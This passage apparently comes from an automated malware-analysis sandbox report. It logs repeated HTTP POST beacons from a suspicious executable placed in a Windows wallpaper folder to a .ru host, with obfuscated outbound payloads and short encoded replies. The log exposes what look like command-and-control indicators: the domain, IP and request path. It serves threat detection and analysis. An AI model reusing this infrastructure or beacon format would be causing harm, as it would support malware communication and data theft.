98-6%Y3?'8-(([=)%^>P>1&60E(>%%1.Z95=,$">'81]#6;0&Y%*%U.;_;>:B;0&^'/#P#&>1Y0!63(":4 Q3.3("U2<,!!3$0"/]!,U>TQ
Jan 1, 2025 15:17:47.823477030 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49792	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:47.144777060 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:47.499394894 CET	1056	OUT	Data Raw: 54 51 51 55 5a 5d 57 51 59 5b 5a 5a 52 5d 5b 5d 55 58 5a 57 57 50 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TQQUZ]WQY[ZZR][]UXZWWP[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/,/[&97!+8<=0=S1$"-2,0<$;9]//_ <
Jan 1, 2025 15:17:47.608726978 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:47.782679081 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C92y%2B%2FVL1Ah7RJDYELb2cj0YGIu%2BtKMY%2FhvuOVMaKIaPdJjn1w8SquaQYhRvHNQRZZMUNLq8%2BWBk4gD3QUKkyAf2FYVAZp%2BFBIycTrz6w5HMvDezcthkGpzLG4ArW6s0aIIsM6zc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322884ce741d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8311&min_rtt=1708&rtt_var=13847&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=26771&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49793	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:47.907391071 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:17:48.264875889 CET	1056	OUT	Data Raw: 51 57 54 54 5f 57 52 5d 59 5b 5a 5a 52 5c 5b 58 55 5b 5a 5a 57 5a 5b 5e 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QWTT_WR]Y[ZZR\[XU[ZZWZ[^[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';?<&*([!+?^?X(.-'>$,("!>1;?>;9]//_
Jan 1, 2025 15:17:48.402569056 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:48.744453907 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dPY7vxJ4105mXCXQx5SLTO8tC5kJQ1ljky0qBRNg9qthm3lj%2FURVCbc4ZxxXXtk3ss3rwhDN7Vq1bbNvyCI%2BxorN%2FiJeffpJmuXKabgRaC2xdsZsYelQXpPdYRkkS1wV8RLNeHCK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3228d0a504361-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4778&min_rtt=1689&rtt_var=6812&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=55294&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49794	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:48.877274990 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:49.233812094 CET	1056	OUT	Data Raw: 54 52 51 57 5f 5f 57 58 59 5b 5a 5a 52 5c 5b 5a 55 5e 5a 57 57 50 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TRQW__WXY[ZZR\[ZU^ZWWP[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A/,7X098#2']+;#=>9W3:21(61=&3??/*9]//_
Jan 1, 2025 15:17:49.381822109 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:49.540154934 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mQygIKEz1BjBcd%2FMQFhScrDZ0uaFg93ndFsA934vHdLkvnQ29%2FmDO4FwZxOO7xRaMpp8t1tuCqrFeGNaI4H%2B%2FRduTbLN9vsVrmHFB9y1JhVhAVUBnHVBFO7Znjrf%2BRVTGm%2FlJY2g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322931edc41c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7704&min_rtt=1707&rtt_var=12634&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=29385&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49795	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:49.673584938 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:50.030483007 CET	1056	OUT	Data Raw: 54 50 54 57 5f 59 52 5d 59 5b 5a 5a 52 58 5b 5c 55 5d 5a 5a 57 5c 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPTW_YR]Y[ZZRX[\U]ZZW\[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$,Y/3*(X"+X++>'R$<W")%Y/[<#,9]//_ (
Jan 1, 2025 15:17:50.145311117 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:50.398797989 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ik9RmWq0sPjc12eA5EH9MpYcTDxeQxaiQ7W%2FpP08%2Fh33bLSPCncsIL50cVlJJWpyH3GEcGb4KL0G3c24%2BnVVQ2uNM3xTQE7N9TobZo8orrP%2BbWZFMaeZn75lCUZgkJVHjGHs1t2j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322981c0ade97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7797&min_rtt=1483&rtt_var=13186&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=28075&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49796	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:50.532586098 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:50.889908075 CET	1056	OUT	Data Raw: 54 5c 54 50 5f 57 57 51 59 5b 5a 5a 52 58 5b 59 55 5f 5a 5a 57 5c 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\TP_WWQY[ZZRX[YU_ZZW\[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;[':$\"1_(7=>9T'*Q%/7V!>%Y<<X88:9]//_ (
Jan 1, 2025 15:17:50.980017900 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:51.231484890 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TIcXK%2BhPKleKJIGZySj1DSE9Q15qOsuWyt3UIFxnndl711hqvzxXr9yY3BjyRMDMiJATWGOjMSDs41qJTLOXzs9%2B%2BXbeMXqwxZaV%2Btj3wFhUgyXB5qS%2B33bMAdDM8TRDUz0u%2F8Tw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3229d5cc141f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1936&min_rtt=1639&rtt_var=1210&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=363184&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49797	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:51.360112906 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:51.718099117 CET	1056	OUT	Data Raw: 54 56 54 5e 5f 5b 52 5e 59 5b 5a 5a 52 5d 5b 5f 55 5c 5a 59 57 51 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TVT^_[R^Y[ZZR][_U\ZYWQ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]';#$_8["4<8]<>:0!%<"1&,<+ -:9]//_ <
Jan 1, 2025 15:17:51.823261976 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:52.083935976 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dcQNg%2FjDv%2FSZkOdD5mifGlEDrqfnAo%2FIPU1xmlKICQ1C5Z%2B2Xd%2BS9gEQwmxyqbmU%2FooEJZv0rpOraJiuTxuQB%2Fs%2FPLd9%2Frps%2FPd3z5lDeeIQUDCuOxwUJhK3ocbvZ2CR3sCRJJ8%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322a29ba615a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3129&min_rtt=1702&rtt_var=3492&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=111288&cwnd=126&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Jan 1, 2025 15:17:52.174427986 CET	14	IN	Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49798	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:52.297589064 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:52.655488968 CET	1056	OUT	Data Raw: 54 51 54 54 5a 5c 52 5c 59 5b 5a 5a 52 5f 5b 5c 55 58 5a 57 57 5d 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TQTTZ\R\Y[ZZR_[\UXZWW][[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$/7Z0<Z!(+?Y(.P%*&/Q5&Y3_?>?Z,9]//_ 4
Jan 1, 2025 15:17:52.755078077 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49799	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:52.833611012 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1300 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:53.186973095 CET	1300	OUT	Data Raw: 51 50 51 52 5f 5c 57 5f 59 5b 5a 5a 52 53 5b 51 55 5a 5a 5b 57 51 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QPQR_\W_Y[ZZRS[QUZZ[WQ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A;3$[!1<+83+!Q$9!P1<##!=%/?Z<3Z-9]//_
Jan 1, 2025 15:17:53.342159986 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:53.590598106 CET	952	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ohHILSfGcC6KoTIsYDzrZDQm1Fqz72pNviCFRgDJ1HxUBkLARjPMWPdGjlCQojCfw26QYZgWghTE2SQ9uot5pEItswxSdieN4g1b20T%2FlTGxhvNrozwvm7b5YYuT9n97k%2BpzTG23"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322ac0ad51a1b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8240&min_rtt=2068&rtt_var=13120&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1628&delivery_rate=28377&cwnd=186&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0f 22 3a 00 00 25 3f 02 59 2f 3f 00 05 28 2b 30 18 3e 3c 25 5e 32 3b 25 08 3d 0c 36 09 36 29 02 09 28 5a 21 1f 32 12 31 56 31 38 2e 5a 0d 1c 39 14 21 10 23 57 24 22 22 0f 30 3b 3d 5f 20 03 08 58 21 15 3f 5c 31 3e 36 13 32 07 31 56 2e 00 33 59 38 03 2e 40 2c 0e 29 03 30 3f 23 50 0f 1f 23 57 31 00 31 58 25 32 2b 02 21 1d 3c 57 35 3a 3d 56 23 29 2f 0e 33 04 35 07 27 16 04 1e 32 3f 38 0a 22 2d 2e 57 27 1c 27 1b 33 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98-":%?Y/?(+0><%^2;%=66)(Z!21V18.Z9!#W$""0;=_ X!?\1>621V.3Y8.@,)0?#P#W11X%2+!<W5:=V#)/35'2?8"-.W''3/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49800	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:52.955470085 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:53.311729908 CET	1056	OUT	Data Raw: 51 52 54 5f 5f 5d 52 5a 59 5b 5a 5a 52 5a 5b 50 55 54 5a 5c 57 5a 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRT__]RZY[ZZRZ[PUTZ\WZ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D/?7_$4\#2 ((+=9Q3%<Q""-1?,(]89]//_
Jan 1, 2025 15:17:53.438113928 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:53.697309971 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9IyjRVQnGK0Vh3zpcusw0RyNCeNkXXMYflOlFvWMPKEs0uWZbc20Q8TBBObAi95RBgtqk6OrGc0Ef6JUp0zFbYGbAp3PIxCgUketDQqs4fz09P9XE6fiWEOL%2BxWakUbberVKN%2FLL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322aca9f74283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4604&min_rtt=1694&rtt_var=6455&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=58460&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49802	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:53.828578949 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:17:54.186793089 CET	1056	OUT	Data Raw: 51 51 51 50 5f 5b 52 5e 59 5b 5a 5a 52 59 5b 50 55 5b 5a 5c 57 5f 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QQQP_[R^Y[ZZRY[PU[Z\W_[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;,'_ ]!+0<>W$:21<?"W.&,8+.;9]//_ ,
Jan 1, 2025 15:17:54.277714014 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:54.534185886 CET	815	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SI%2BCfSuTPHna%2FFSQppGWkg%2BIHlk%2FSazi%2FTa29q3tAAAYB%2BseN8InsZV78q3fD5unQ2wI5coxeSS9YnOUVHyQfMdFJFyYPEAV0%2BgNRy5hwr4J1NBAYYEndlnK7kr5Nsn%2FGJTHLlDQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322b1fe0d43e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2496&min_rtt=2284&rtt_var=1281&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=366557&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49803	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:54.656322002 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
